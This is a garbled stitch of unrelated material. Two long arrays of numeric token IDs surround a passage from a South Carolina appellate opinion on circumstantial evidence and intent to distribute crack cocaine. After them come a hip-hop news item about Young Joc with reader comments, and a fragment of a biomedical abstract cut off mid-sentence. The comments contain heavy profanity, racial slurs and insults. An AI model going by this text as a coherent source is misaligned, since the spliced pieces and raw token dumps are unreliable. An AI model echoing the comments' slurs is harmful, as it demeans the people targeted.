13, 721, 3593, 313, 5229, 15, 2946, 15, 12487, 10, 313, 26977, 11035, 481, 844, 1089, 642, 2228, 15, 187, 187, 5707, 32200, 187, 1231, 7525, 253, 2332, 1302, 6283, 9262, 37738, 434, 4179, 281, 253, 4984, 285, 7730, 642, 2228, 275, 9618, 272, 253, 4984, 327, 253, 1569, 273, 45026, 1941, 15, 3308, 37738, 434, 9611, 323, 10023, 342, 6860, 281, 16969, 9370, 16394, 310, 187, 43029, 15, 187, 26809, 3269, 13, 500, 904, 15038, 84, 15, 187, 10993, 3271, 52, 15012, 13, 500, 904, 15038, 84, 275, 247, 4858, 4743, 15, 187, 5543, 37118, 13, 500, 904, 15038, 84, 285, 5408, 592, 275, 247, 4858, 4743, 15, 187, 46528, 10449, 13, 500, 904, 15038, 84, 285, 5408, 592, 275, 247, 4858, 4743, 275, 534, 10197, 16652, 13, 330, 15, 43, 904, 285, 330, 10860, 18587, 13, 500, 904, 15038, 15, 187, 5648, 4641, 947, 13, 500, 904, 15038, 84, 285, 5408, 592, 275, 247, 4858, 4743, 15, 187, 5707, 38035, 13, 500, 904, 5408, 592, 285, 27022, 275, 253, 5408, 592, 273, 28281, 10449, 13, 500, 904, 285, 7840, 4641, 947, 13, 500, 15, 187, 10993, 3271, 52, 15012, 13, 500, 15, 313, 585, 1915, 804, 2262, 187, 42, 15038, 4751, 275, 6798, 659, 300, 4714, 434, 4743, 15, 187, 1276, 6798, 15197, 434, 4743, 651, 452, 441, 513, 310, 14357, 253, 1941, 13, 285, 436, 253, 1302, 273, 12527, 2550, 513, 275, 247, 6424, 1083, 667, 625, 685, 352, 476, 1056, 247, 346, 7083, 357, 2940, 475, 21340, 4951, 3, 390, 346, 34006, 253, 7227, 34635, 273, 253, 29809, 44855, 449, 23500, 2689, 6597, 13, 20000, 313, 1145, 251, 15, 3675, 2698, 313, 25569, 378, 15, 36, 11507, 387, 3944, 1358, 2700, 15, 20282, 15, 13808, 16, 20282, 4185, 16, 317, 4788, 982, 16, 15592, 16, 274, 382, 2689, 6597, 16, 38385, 28, 923, 2418, 362, 15, 19980, 13, 36076, 322, 15, 36, 15, 36477, 13, 43333, 322, 15, 38, 15, 19, 69, 17574, 313, 6914, 10, 313, 44101, 253, 2332, 1302, 310, 7514, 342, 253, 6242, 390, 44382, 11347, 273, 1941, 285, 417, 697, 2801, 1014, 672, 253, 14079, 15771, 14288, 327, 45026, 1941, 558, 2418, 362, 15, 7634, 69, 5464, 13, 32575, 322, 15, 36, 15, 5910, 13, 7904, 13, 39748, 322, 15, 38, 15, 19, 69, 38888, 13, 46916, 313, 9595, 10, 5550, 2374, 247, 3200, 323, 247, 6828, 11844, 275, 247, 6424, 1083, 13, 253, 2332, 1302, 310, 7514, 342, 253, 6242, 390, 1327, 14, 29419, 273, 1941, 13, 417, 697, 2801, 32755, 380, 1953, 273, 1880, 253, 9370, 16394, 1119, 327, 37738, 434, 1436, 369, 323, 521, 1211, 3367, 897, 390, 323, 3268, 281, 2571, 369, 11098, 314, 323, 253, 4984, 15, 187, 8430, 253, 2408, 273, 9370, 16394, 275, 436, 1083, 369, 417, 4209, 281, 4647, 253, 11315, 17032, 273, 6860, 281, 16969, 13, 627, 310, 642, 1953, 326, 253, 2418, 3559, 1480, 1941, 273, 10023, 15, 5488, 13, 275, 1262, 433, 2996, 253, 1941, 273, 37738, 434, 6860, 347, 45026, 2581, 685, 1480, 13, 6798, 15197, 434, 4743, 10224, 281, 9446, 326, 5749, 74, 62, 2649, 290, 310, 28277, 16931, 281, 4737, 407, 1480, 1941, 285, 1364, 36165, 320, 11464, 407, 45026, 1941, 13, 326, 310, 13, 407, 5441, 285, 5989, 432, 534, 6860, 778, 320, 22245, 449, 2418, 362, 15, 40915, 76, 1255, 13, 30092, 322, 15, 36, 15, 28195, 13, 29949, 13, 23512, 322, 15, 38, 15, 19, 69, 47555, 13, 48874, 313, 25197, 558, 923, 671, 3285, 34, 3052, 15, 49864, 15, 19, 69, 19594, 3015, 1638, 2090, 387, 854, 2537, 14, 1235, 313, 13034, 10, 5550, 27610, 360, 22430, 1941, 3815, 310, 2223, 4209, 281, 921, 6424, 6860, 984, 253, 3284, 273, 6860, 13, 1146, 247, 1375, 273, 2564, 390, 6255, 4096, 13, 310, 3798, 31257, 273, 1480, 4737, 32755, 187, 1276, 4245, 479, 3081, 4468, 310, 253, 1921, 6798, 15197, 45589, 253, 1941, 273, 37738, 434, 6860, 347, 346, 1439, 6832, 449, 496, 29999, 436, 1941, 984, 352, 812, 452, 4516, 253, 17032, 326, 37738, 6034, 281, 897, 2581, 685, 16969, 253, 9370, 16394, 275, 521, 10023, 13, 344, 4620, 281, 956, 253, 26777, 275, 2418, 362, 15, 3083, 261, 13, 25901, 322, 15, 36, 15, 8688, 13, 8319, 322, 15, 38, 15, 19, 69, 32002, 313, 40853, 582, 326, 672, 253, 14079, 9437, 281, 5276, 15457, 407, 45026, 1941, 13, 271, 49207, 310, 26085, 5734, 253, 5989, 346, 3659, 345, 12817, 12555, 3529, 310, 13, 281, 247, 9447, 23140, 12555, 936, 253, 15457, 273, 253, 10145, 28, 3346, 285, 597, 1364, 2007, 320, 8839, 16706, 342, 667, 643, 5272, 9079, 685, 253, 15457, 273, 253, 10145, 449, 4031, 15, 387, 8437, 13, 8319, 322, 15, 38, 15, 19, 69, 387, 36696, 313, 34212, 11035, 481, 380, 24555, 1302, 13, 2299, 475, 24208, 556, 1580, 34310, 3083, 261, 285, 697, 40573, 327, 436, 1077, 2523, 15, 2418, 362, 15, 24006, 13, 31399, 322, 15, 36, 15, 32513, 13, 36351, 322, 15, 38, 15, 19, 69, 48761, 13, 5306, 13, 5868, 13, 43476, 530, 15, 52, 15, 854, 2222, 13, 9199, 322, 15, 5229, 15, 30439, 13, 14034, 418, 15, 3996, 15, 19, 69, 26484, 313, 14643, 481, 187, 5543, 37118, 13, 500, 15, 313, 585, 1915, 804, 285, 34308, 2262, 187, 26190, 3332, 1107, 13, 253, 4086, 273, 45026, 1941, 275, 253, 6424, 2332, 18767, 556, 32338, 625, 1162, 1105, 1975, 6128, 407, 36760, 13, 42608, 13, 285, 16006, 685, 667, 643, 6424, 2332, 8063, 15, 187, 510, 954, 1846, 2228, 1119, 275, 253, 6239, 285, 1083, 1569, 310, 253, 14955, 281, 20843, 45026, 1941, 432, 697, 4981, 14621, 4809, 275, 2743, 281, 253, 2332, 4984, 313, 74, 15, 70, 904, 958, 1089, 398, 10, 715, 271, 11073, 12124, 1783, 407, 4320, 12981, 15, 187, 688, 253, 6424, 2332, 23192, 13, 253, 346, 36752, 22430, 1941, 3, 8063, 47806, 522, 4863, 253, 2332, 5963, 285, 4984, 275, 3806, 281, 616, 12803, 285, 1159, 15, 32312, 13, 247, 492, 338, 321, 68, 456, 2278, 1364, 320, 20023, 27, 187, 9, 18, 10, 1737, 310 ]

626 (1996)). Still other cases indicate some distinction between direct evidence and circumstantial evidence in considering whether a directed verdict should be granted. State v. Patterson, 337 S.C. 215, 232, 522 S.E.2d 845, 853 (Ct.App.1999) ("If there is any direct evidence or any substantial circumstantial evidence which reasonably tends to prove the guilt of the accused or from which guilt may be fairly and logically deduced, an appellate court must find the case was properly submitted to the jury." (emphasis added)) (citing State v. Johnson, 334 S.C. 78, 512 S.E.2d 795 (1999)). If the trial court must make a determination that the circumstantial evidence is substantial, that would seem to require a weighing of the evidence which, of course, all cases agree, is forbidden. Clearly, the trial judge should grant a directed verdict motion when the evidence merely raises a suspicion that the accused is guilty. Martin, 340 S.C. at 602, 533 S.E.2d at 574 (citing State v. Irvin, 270 S.C. 539, 243 S.E.2d 195 (1978)). It is equally clear, however, that on appeal from the denial of a motion for directed verdict, this court must view the evidence in the light most favorable to the State. Burdette, 335 S.C. at 46, 515 S.E.2d at 531. The State submitted testimony that Cherry's arrest occurred in a high crime area known for violence and drug activity. Cherry had a small bag containing approximately eight rocks of crack cocaine on his person. He had no crack pipe or other drug paraphernalia with him indicating the crack cocaine was for his personal consumption. He did, however, have $322 cash on his person in mostly twenty dollar bills. Officer Parker testified a single rock of crack cocaine is *286 typically sold for twenty dollars. Viewing this evidence in the light most favorable to the State, as we must, and without passing on the weight of the evidence, the combination of these factors constitute evidence which would reasonably tend to prove Cherry intended to distribute the crack cocaine and, thus, justifies the trial court's decision to submit the case to the jury for its determination.[1] Circumstantial Evidence Instruction During its jury charge, the trial court issued the circumstantial evidence instruction recently approved and recommended by our supreme court in State v. Grippon, 327 S.C. 79, 489 S.E.2d 462 (1997). After the jury was charged, defense counsel requested the court issue Judge Ervin's charge on the difference between direct and circumstantial evidence. Tom J. Ervin, Ervin's South Carolina Requests to Charge-Criminal § 3-4 (1994). The court refused to re-charge the jury as requested. We note that Judge Ervin's model charge on circumstantial evidence is similar to the traditional language our supreme court approved in State v. Edwards, 298 S.C. 272, 379 S.E.2d 888 (1989). The traditional charge distinguishes between direct and circumstantial evidence, whereas the new charge adopted in Grippon specifically states there is no legal distinction between the two types of evidence. Compare Edwards, 298 S.C. at 275, 379 S.E.2d at 889 ("`[E]very circumstance relied upon by the State [must] be proven beyond a reasonable doubt; and... all of the circumstances so proven be consistent with each other and taken together, point conclusively to the guilt of the accused to the exclusion of every other reasonable hypothesis.'") (quoting State v. Littlejohn, 228 S.C. 324, 328, 89 S.E.2d 924, 926 (1955)), with Grippon, 327 S.C. at 83-84, 489 S.E.2d at 464 ("The law makes absolutely no distinction between the weight or value to be given to either direct or circumstantial evidence. Nor is a greater degree of certainty required of circumstantial evidence *287 than of direct evidence."). Although the supreme court noted in Grippon, 327 S.C. at 82, 489 S.E.2d at 463, and reiterated in State v. Needs, 333 S.C. 134,156 n. 13, 508 S.E.2d 857, 868 n. 13 (1998) and State v. Graddick, 345 S.C. 383, 388, 548 S.E.2d 210, 212 (2001), that the traditional Edwards charge is still a legally correct and appropriate jury instruction, we cannot fault the trial court for utilizing a charge recently specifically approved by the supreme court. It obviously is a correct statement of the law of circumstantial evidence. "The judge properly instructs the jury if he adequately states the applicable law. A jury charge which is substantially correct and covers the law does not require reversal." State v. Ezell, 321 S.C. 421, 425, 468 S.E.2d 679, 681 (Ct.App.1996) (citation omitted). We find no error. CONCLUSION We conclude the trial court properly submitted Cherry's charge to the jury and committed no error in instructing the jury on the law of circumstantial evidence. Thus Cherry's conviction for possession with intent to distribute crack cocaine is AFFIRMED. HUFF, J., concurs. GOOLSBY, J., concurs in a separate opinion. ANDERSON, J., concurs and dissents in a separate opinion. HOWARD, J., concurs and dissents in a separate opinion in which HEARN, C.J., and CURETON, J., concur. SHULER, J., concurs and dissents in a separate opinion. CONNOR, J., dissents and joins in the dissents of HOWARD, J., and SHULER, J. GOOLSBY, J. (concurring): I concur fully in Judge Stilwell's opinion. What Judge Howard's opinion would have us do is weigh the evidence, and this the court of appeals cannot do in a criminal case any more than it can make a "crab walk *288 straight" or "smooth the rough spikes of the hedgehog." Aristophanes, Peace (Anon.trans.) (420 B.C.), at http://www.vt.edu/vt98/academics/books/aristophanes/peace; see State v. Mitchell, 341 S.C. 406, 535 S.E.2d 126 (2000) (stating the trial court is concerned with the existence or nonexistence of evidence and not its weight even when the prosecution relies exclusively on circumstantial evidence); State v. Burdette, 335 S.C. 34, 46, 515 S.E.2d 525, 531 (1999) ("On a motion for a directed verdict in a criminal case, the trial court is concerned with the existence or non-existence of evidence, not its weight."). The question of whether the crack cocaine found on Cherry's person was for his own personal use or for distribution to others was singularly for the jury. Although the amount of crack cocaine in this case was not sufficient to apply the statutory inference of intent to distribute, there is no question that the State presented direct evidence of possession. Furthermore, in discrediting the evidence of Cherry's intent as circumstantial rather than direct, Judge Howard's opinion fails to recognize that "[i]ntent is seldom susceptible to proof by direct evidence and must ordinarily be proven by circumstantial evidence, that is, by facts and circumstances from which intent may be inferred." State v. Tuekness, 257 S.C. 295, 299, 185 S.E.2d 607, 608 (1971); see also 29A Am.Jur.2d Evidence § 1469 at 849-50 (1994) ("Circumstantial evidence alone is often sufficient to show criminal intent because the element of intent, being a state of mind or mental purpose, is usually incapable of direct proof."). What gives me additional concern is the reason Judge Howard characterizes the evidence of Cherry's intent as "not substantial." In dismissing this evidence because it could have supported the inference that Cherry intended to use rather than distribute the crack cocaine in his possession, he appears to follow the directive in State v. Manis, 214 S.C. 99, 51 S.E.2d 370 (1949), that when the prosecution attempts to prove guilt by circumstantial evidence, an acquittal is warranted unless the circumstances "point conclusivelythat is, to a moral certaintyto the guilt of the accused;... and they must further be absolutely inconsistent with any other reasonable hypothesis than the guilt of the accused." Id. at 101, 51 S.E.2d at 371 (citations omitted). The supreme court, however *289 has since overruled Manis and its progeny on this very issue. State v. Edwards, 298 S.C. 272, 379 S.E.2d 888, cert, denied, 493 U.S. 895, 110 S.Ct. 246, 107 L.Ed.2d 196 (1989). ANDERSON, J. (concurring and dissenting): Within recent years, the rule of circumstantial evidence in the criminal trial venue has evoked more etymological responses by academics, commentators, and judges than any other criminal trial principle. The most common error found in the literature and case law is the tendency to isolate circumstantial evidence from its utilitarian aspect in regard to the trial jury (i.e., fact finders) into an academic vacuum analysis by legal scholars. In the criminal trial arena, the "circumstantial evidence" principle juxtaposes the trial judge and jury in reference to their duties and function. Initially, a trifurcated review must be undertaken: (1) What is

[ 1388, 407, 253, 2965, 13, 344, 753, 15, 187, 187, 688, 253, 22849, 13, 500, 406, 310, 10000, 342, 4320, 8213, 15, 187, 187, 510, 48048, 310, 1955, 275, 1302, 3063, 313, 20443, 1638, 10, 5001, 247, 12027, 689, 2579, 13697, 323, 1029, 14, 423, 36167, 6500, 15, 187, 187, 34, 2567, 407, 253, 1416, 273, 2951, 250, 9117, 3916, 500, 406, 858, 417, 2075, 323, 12692, 3238, 2264, 272, 598, 281, 370, 1099, 13, 20181, 25277, 7647, 53, 25059, 6625, 37267, 187, 187, 1785, 34274, 323, 1422, 187, 187, 17277, 273, 24100, 45, 187, 187, 17277, 273, 24100, 45, 187, 187, 7883, 253, 7435, 24505, 670, 521, 259, 471, 718, 3736, 760, 858, 6421, 285, 344, 457, 84, 1929, 323, 253, 2389, 731, 840, 3553, 731, 2118, 342, 512, 521, 549, 1440, 382, 457, 84, 15, 187, 187, 570, 835, 10821, 187, 187, 88, 471, 718, 9405, 31297, 77, 91, 10739, 1537, 417, 894, 247, 3491, 2866, 7461, 374, 1056, 779, 1014, 625, 42837, 187, 187, 43, 406, 13, 310, 671, 4361, 521, 1735, 2199, 13, 521, 2626, 5400, 13, 2305, 15, 17453, 457, 84, 3532, 39895, 13, 534, 943, 923, 253, 1708, 273, 1388, 407, 253, 2965, 13, 344, 753, 15, 187, 187, 45, 187, 187, 43, 406, 3916, 374, 452, 512, 436, 2583, 533, 16216, 2075, 323, 11803, 6500, 12692, 32, 187, 187, 1843, 6873, 187, 187, 43, 3231, 4110, 443, 1277, 35, 7669, 13, 4889, 388, 2415, 1267, 45429, 59, 329, 7999, 443, 1139, 8728, 7651, 36855, 4827, 15, 16093, 773, 45, 16569, 1042, 20466, 58, 668, 7840, 1433, 4110, 16449, 4827, 41603, 2637, 13, 17706, 13573, 13556, 33219, 16093, 7840, 1433, 329, 7999, 443, 1139, 6725, 2293, 39733, 35286, 35, 6117, 15, 29632, 52, 9277, 13556, 4392, 37453, 46184, 3887, 52, 322, 13003, 2637, 427, 2431, 40, 1719, 13573, 13556, 33219, 330, 5656, 6725, 2293, 28239, 1372, 5942, 8220, 187, 187, 43, 406, 310, 411, 471, 1255, 347, 310, 9405, 14957, 15, 2064, 3492, 310, 11755, 347, 7435, 2167, 15, 380, 78, 3511, 14957, 8290, 452, 642, 1524, 2852, 275, 253, 17845, 2165, 15, 309, 452, 690, 7535, 323, 731, 295, 20878, 284, 15, 2949, 12695, 1267, 4672, 187, 187, 72, 6231, 3241, 377, 187, 187, 1147, 369, 247, 2791, 323, 779, 672, 344, 2210, 562, 13, 344, 2335, 5750, 273, 352, 285, 1160, 690, 1818, 15, 309, 247, 565, 10279, 387, 779, 323, 326, 15, 1292, 436, 5798, 9242, 7519, 52, 281, 2471, 19639, 23877, 595, 3765, 471, 2961, 13, 642, 12816, 387, 512, 309, 6329, 15, 49920, 13, 672, 309, 3748, 13290, 5184, 326, 35058, 13, 344, 310, 387, 253, 1755, 273, 17450, 1618, 2112, 342, 25293, 6362, 5006, 4672, 309, 16216, 923, 779, 2403, 667, 625, 6046, 342, 436, 1735, 2199, 15, 309, 9239, 10231, 500, 406, 313, 284, 271, 9558, 5803, 347, 247, 4929, 25246, 187, 187, 1147, 457, 84, 10412, 849, 841, 277, 14735, 1379, 3746, 10369, 15, 500, 406, 20509, 11532, 344, 457, 84, 2714, 285, 326, 344, 476, 5926, 271, 5400, 326, 588, 5580, 285, 897, 521, 1416, 281, 3727, 625, 22630, 313, 24757, 31297, 77, 91, 10, 326, 344, 11121, 588, 5580, 15, 1310, 344, 574, 12816, 840, 625, 1612, 281, 779, 533, 309, 476, 457, 85, 3343, 281, 923, 436, 10739, 892, 412, 1892, 15, 187, 187, 55, 7556, 1023, 8047, 187, 187, 24757, 296, 1190, 91, 13, 25293, 6362, 12143, 13, 657, 15, 42, 15, 36, 15, 708, 37667, 33831, 8139, 15, 665, 253, 269, 4, 33, 76, 310, 15428, 841, 42493, 84, 15, 17314, 310, 275, 247, 372, 14, 38314, 552, 1375, 672, 436, 23550, 310, 689, 3515, 253, 2329, 47003, 15, 733, 457, 84, 8872, 326, 672, 309, 971, 281, 4089, 690, 32811, 11298, 326, 309, 457, 78, 25184, 715, 253, 12278, 16, 43357, 16, 17185, 659, 569, 672, 253, 24517, 544, 15383, 62, 10988, 1132, 841, 42493, 84, 9575, 577, 89, 247, 2360, 15, 9870, 249, 12143, 310, 253, 7880, 9065, 4498, 309, 457, 306, 3735, 275, 247, 7085, 66, 1048, 673, 285, 352, 457, 84, 24851, 281, 1158, 326, 9366, 11853, 310, 3981, 773, 4779, 13, 326, 439, 2, 85, 310, 9405, 15, 2091, 858, 3168, 10988, 1265, 4882, 625, 285, 1805, 45469, 16890, 544, 10342, 314, 8937, 4726, 17314, 62, 685, 616, 10106, 35751, 32, 45469, 16890, 38494, 533, 11505, 4963, 17314, 3133, 751, 352, 457, 84, 670, 281, 6507, 1282, 275, 253, 2822, 2852, 15, 11239, 2656, 13, 323, 253, 2102, 2008, 592, 5010, 309, 5476, 352, 651, 320, 13714, 416, 7, 35, 15, 187, 187, 79, 20878, 2320, 409, 6441, 29155, 187, 187, 71, 1807, 480, 406, 285, 253, 4498, 344, 1694, 562, 15, 30144, 718, 1024, 285, 1996, 26996, 299, 5009, 35281, 310, 278, 28709, 295, 20878, 284, 3523, 11298, 281, 436, 17845, 10739, 15, 16829, 323, 253, 1524, 1711, 2143, 10739, 672, 352, 574, 10359, 15, 2666, 667, 9370, 6858, 476, 513, 436, 10739, 13, 783, 2165, 310, 35598, 598, 15, 187, 187, 4629, 6963, 187, 187, 3529, 6036, 2802, 13565, 5006, 457, 310, 745, 253, 10584, 15, 11425, 320, 11941, 347, 5497, 331, 794, 8311, 383, 3540, 273, 4204, 807, 15, 47, 4692, 14, 22559, 68, 10308, 4219, 14857, 14, 1637, 278, 14, 3479, 275, 1966, 15431, 15, 187, 7834, 2024, 1979, 5141, 273, 5269, 68, 432, 2494, 14, 281, 6399, 5829, 1079, 13237, 8655, 697, 27863, 2299, 697, 10142, 2442, 310, 1335, 417, 14859, 15, 496, 253, 1655, 1263, 359, 2540, 2559, 14857, 14, 1637, 13, 5274, 14, 18, 2461, 285, 5274, 14, 23, 7959, 2308, 275, 15431, 7329, 281, 42026, 14, 41520, 68, 313, 6369, 481, 3840, 13, 20483, 6353, 671, 2692, 31239, 13655, 273, 1097, 268, 1839, 285, 29494, 18, 16, 19, 7178, 2299, 44454, 13655, 369, 15550, 15, 5729, 14, 21272, 273, 15431, 342, 268, 1839, 285, 29494, 18, 16, 19, 11531, 2057, 3815, 390, 275, 5019, 2692, 1534, 5141, 275, 14857, 14, 1637, 7959, 7882, 13, 4518, 7738, 616, 2554, 275, 14857, 14, 1637, 7959, 28366, 285, 2048, 15, 3824, 7313, 4518, 5183, 253, 10142, 2442, 273, 20483, 6353, 534, 1537, 320, 387, 1878, 7898, 285, 2442, 5122, 275, 5269, 68, 14946, 20192, 886, 414, 275, 253, 7329, 3072, 15, 13238, 12679, 775, 478, 27073, 187, 187, 13238, 12679, 775, 478, 27073, 313, 6448, 1722, 3978, 10226, 10, 310, 247, 45207, 5702, 31926, 665, 7120, 347, 247, 42857, 323, 17871, 88, 12584, 2006, 304, 9296, 15, 187, 187, 29431, 187, 18852, 521, 5249, 775, 478, 27073, 556, 4546, 387, 2710, 15202, 1475, 611, 16537, 682, 285, 2378, 275, 3729, 14, 28886, 5427, 15, 754, 3053, 387, 16527, 304, 700, 7852, 1078, 14167, 36250, 266, 15, 754, 840, 4395, 281, 1608, 408, 543, 418, 1432, 543, 273, 253, 309, 14, 43174, 323, 247, 2372, 1078, 27326, 1699, 16527, 304, 700, 7852, 15, 754, 840, 7402, 598, 4882, 323, 48091, 1417, 275, 253, 2263, 7317, 893, 15794, 6884, 15, 187, 187, 2374, 577, 4565, 4072, 352, 369, 15335, 6138, 326, 775, 478, 27073, 574, 6704, 342, 15493, 328, 378, 12043, 329, 15, 36, 15, 273, 253, 309, 14, 43174, 15, 187, 1328, 1160, 521, 11386, 327, 721, 4565, 4072, 1411, 1986, 322, 15, 36, 15, 387, 253, 23790, 9396, 21246, 275, 534, 344, 11691, 374, 7342, 275, 253, 1384, 394, 285, 5329, 12, 18, 296, 2909, 2975, 285, 4546, 7357, 5091, 12, 25, 394, 2909, 1078, 1146, 7932, 407, 329, 487, 263, 8700, 15858, 543, 39101, 347, 15493, 328, 378, 12043, 1912, 253, 3761, 577, 14, 17, 15, 187, 187, 1779, 478, 27073, 6138, 327, 521, 6745, 3239, 275, 6247, 13, 326, 344, 574, 7416, 17871, 88, 12584, 2006, 304, 9296, 15, 187, 187, 4941, 187, 187, 1413, 27, 14209, 10782, 187, 1413, 27, 14316, 952, 187, 1413, 27, 47, 8047, 757, 23236, 187, 1413, 27, 48598, 15416, 266, 322, 15, 36, 15, 313, 44, 16537, 682, 10, 3773, 187, 1413, 27, 2809, 408, 543, 418, 1432, 543, 401, 15, 36, 15, 3773, 187, 1413, 27, 48598, 328, 378, 12043, 329, 15, 36, 15, 3773, 187, 1413, 27, 42829, 2653, 1403, 5102, 1986, 401, 15, 36, 15, 3773, 187, 1413, 27, 28521, 5842, 32856, 187, 1413, 27, 42, 14, 43174, 3773, 187, 1413, 27, 42, 14, 43174, 374, 2109, 9333, 3773, 187, 1413, 27, 47, 8047, 757, 36624, 684, 275, 5427, 187, 1413, 27, 1672, 44001, 366, 23236, 275, 5427, 187, 1413, 27, 1672, 44001, 366, 23236, 275, 43828, 50254, 50275, 33249, 18746, 3481, 46063, 187, 50254, 38097, 1433, 47095, 52, 4653, 30948, 8286, 20466, 10449, 2756, 50273, 51, 3519, 40740, 28281, 6366, 1139, 13, 50254, 50270, 37, 9466, 2025, 35286, 15051, 187, 50261, 16667, 13, 50254, 50276, 6663, 14, 29631, 19, 14, 1012, 14, 18348, 19, 14, 42, 14, 18, 535, 50260, 87, 15, 535, 50273, 2573, 26765, 10634, 3481, 34428, 11535, 13, 50254, 50276, 33762, 27, 4223, 3127, 13, 4059, 187, 50261, 8903, 1371, 15, 5429, 50262, 30308, 36121, 1556, 19140, 4110, 36429, 14364, 36, 1703, 34172, 337, 535, 50267, 47495, 15967, 329, 15, 34694, 13, 8647, 7061, 13, 11637, 13, 323, 253, 7048, 15, 535, 50267, 44, 6950, 418, 15, 10388, 28807, 13, 1457, 330, 44113, 13, 11637, 13, 323, 253, 6757, 15, 2756, 50254, 252, 50264, 8728, 31966, 535, 50254, 50272, 34706, 266, 308, 3467, 74, 1997, 1504, 8420, 13, 21240, 187, 50254, 50272, 49493, 353, 15, 31424, 13, 17979, 21240, 187, 50254, 50270, 4744, 329, 15, 6625, 37267, 13, 17792, 2756, 50254, 245, 50265, 29003, 1556, 19140, 187, 187, 7307, 18, 50269, 510, 6757, 556, 4724, 247, 5266, 323, 2278, 273, 253, 3302, 3061, 13, 534, 187, 50273, 84, 461, 1243, 253, 6757, 457, 84, 7934, 4179, 273, 36052, 914, 1257, 4202, 247, 7671, 37216, 187, 50273, 2858, 4784, 27285, 253, 12339, 281, 247, 5091, 14, 1201, 13394, 15, 50269, 2214, 253, 4606, 5469, 5429, 50273, 18, 187, 50270, 34, 1327, 20355, 1624, 1340, 310, 581, 326, 253, 5986, 556, 3413, 1057, 417, 823, 187, 50273, 9188, 36211, 281, 253, 2133, 273, 353, 4350, 35, 1083, 1569, 15, 44340, 778, 26542, 1327, 20355, 1624, 7367, 13, 187, 50273, 2858, 824, 7367, 452, 642, 8436, 1624, 1318, 28, 253, 5986, 285, 10656, 16006, 403, 417, 187, 50273, 17354, 281, 956, 390, 12129, 731, 275, 667, 2852, 7089, 15, 496, 4499, 13, 247, 187, 50273, 20355, 1624, 3061, 6808, 347, 271, 26157, 285, 9700, 556, 644, 3636, 407, 253, 5986, 187, 50273, 284, 3012, 15979, 281, 253, 5986, 457, 84, 1083, 1569, 15, 2594, 608, 330, 15, 39, 15, 51, 15, 3015, 1249, 520, 15, 12231, 9, 68, 481, 8675, 50254, 50254, 50254, 50266, 374, 535, 50273, 27490, 13, 359, 44646, 253, 6757, 457, 84, 5266, 323, 2278, 13, 329, 25862, 46, 253, 3302, 3061, 187, 50273, 1042, 14865, 13, 657, 1934, 4966, 352, 2949, 14865, 13, 285, 9838, 3409, 253, 6757, 457, 84, 12339, 273, 8570, 15, 187, 7307, 19, 50269, 17588, 521, 5263, 387, 789, 323, 745, 14, 37163, 21600, 13, 253, 6757, 4845, 253, 187, 50273, 34657, 327, 10656, 3553, 285, 840, 39450, 14116, 779, 15, 23280, 187, 50273, 40417, 8490, 313, 5236, 39, 582, 19660, 721, 387, 3307, 14, 1237, 13, 7652, 15, 50268, 510, 7048, 858, 417, 4549, 521, 187, 50273, 39686, 2452, 15, 50274, 1328, 23383, 8106, 275, 1375, 1302, 281, 247, 2014, 17974, 1385, 273, 187, 50273, 993, 12426, 342, 6860, 281, 7257, 16394, 285, 369, 16290, 281, 374, 1107, 273, 187, 50273, 22275, 318, 15, 50274, 2618, 15, 387, 7652, 15, 50275, 510, 6757, 6808, 247, 4366, 273, 4081, 8570, 285, 13, 187, 50273, 34814, 253, 7048, 457, 84, 7946, 285, 3542, 32114, 13, 5176, 779, 327, 247, 2014, 4179, 187, 50273, 1171, 36052, 914, 1257, 4202, 247, 7671, 37216, 15, 50266, 2618, 15, 387, 8319, 14, 3208, 15, 50275, 510, 7048, 187, 50273, 6243, 3256, 281, 253, 5986, 15, 309, 9006, 13, 19660, 337, 15, 11977, 247, 4854, 13, 253, 10656, 5963, 187, 50273, 14541, 326, 253, 6757, 4232, 253, 6636, 745, 14, 37163, 21600, 285, 247, 47103, 316, 187, 50273, 17352, 253, 21600, 285, 253, 6733, 273, 253, 2579, 15, 309, 9006, 13, 19660, 1722, 13, 23280, 187, 50273, 9150, 1297, 313, 1838, 10, 387, 608, 15, 4129, 253, 10656, 5963, 10945, 253, 7048, 457, 84, 187, 50273, 37307, 800, 5684, 273, 5492, 11081, 5001, 253, 6757, 457, 84, 4327, 273, 187, 50273, 3878, 9724, 13, 344, 4784 ]

day by the fall, he said. In the meantime, Joc is busy with legal matters. The rapper is due in court today (July 14) regarding a dispute over service rendered for high-end stereo equipment. A company by the name of Stereotypes claims Joc did not pay for installation services totaling up to $25, 000.—LaTisha Robbins Recommended for You Best of XXL Best of XXL Who the fuck cares about his wack ass? only diddy and he’s known for the love them then leave them move with all his arttist’s. ne where gang wack ass Hot Stylz shit might not cell a copy…then 2 make him even more lame Joc, is also reading his next project, his third album, Mr. Robinson’s Neighborhood, which should see the light of day by the fall, he said. L Joc claims 2 have all this money but cant pay for studio equipment installation? LEXX JOC IS GARBAGE, AND HOTSTYLEZ AINT GON BE NO BETTER. THAT “LOOKIN BOY” SHIT IS ENTERTAINING, BUT WE ALL KNOW THAT SHIT AINT GON SELL BIG NUMBERS. WHATS WITH ALL THESE LABELS SIGNING NIGGAS WE ALL KNOW CANT SELL RECORDS?? Joc is Wackness as is Hot styles. That video is funny as fuck though. Them hot styles boys have no real future in the rap game. I have some advice for them niggas. INVEST!! giantstepp It was a market for him when he came out, he took advantage of it and made some change. I aint mad at him for that. But this cat SUCKS to death….totally prepackaged, no talent at all IMO. Personally, when I mention hip hop that sucks, he is at the top of MY list along with Soulja boy!! I cant see him making any more noise with this next project. I hate Young Joc (as an artist NOT as a brother)! It’s crazy how these dudes take themselves seriously. Joc honestly believes he’s special and that he can drop an album that will sell and use his name to release more garbage (Hot Stylz) that he thinks will sell. If he had talent then more power to him but I can’t wait to see this shit flop hard. Vicious Seiger Hotstylz, Soulja Boy, V.I.C. & Ace Hood …. who the f#@k is signing these clowns. Rap is in a de-evolutionary state when this crap is over running the airwaves. It’s sad that when I want to hear some worthwhile listening that I’m tuning into the Pop/Party/White Stations when the Urban [Black] stations play these clowns songs 4x a night. Lookin Boy is the absolute worst song I’ve heard in a hella long time and it’s scary to think that somewhere somebody is saying “Man, that sh!t is Hot. When did white stations start playing more and better Hip Hop [Mostly Old School Rap] than their urban affiliates? Hip Hop Lives but Mainstream Rap seems like it’s about to flatline in the near future. Thank God, for the Independents otherwise I guess it would be strictly R&B. niggafrommemphis fuck joc and the song he got out.grown ass now and later candy eatin bullshit is makin niggas stop listening to this rap shit.except for the real old school shit when it had substance.now any crack baby can do this shit,the game is fucked up. kay king that joint ‘looking boy’ is off the hook.should be awarded as mo st funniest track of da year.Nano-talc stabilizes TNF-alpha m-RNA in human macrophages. Particle size 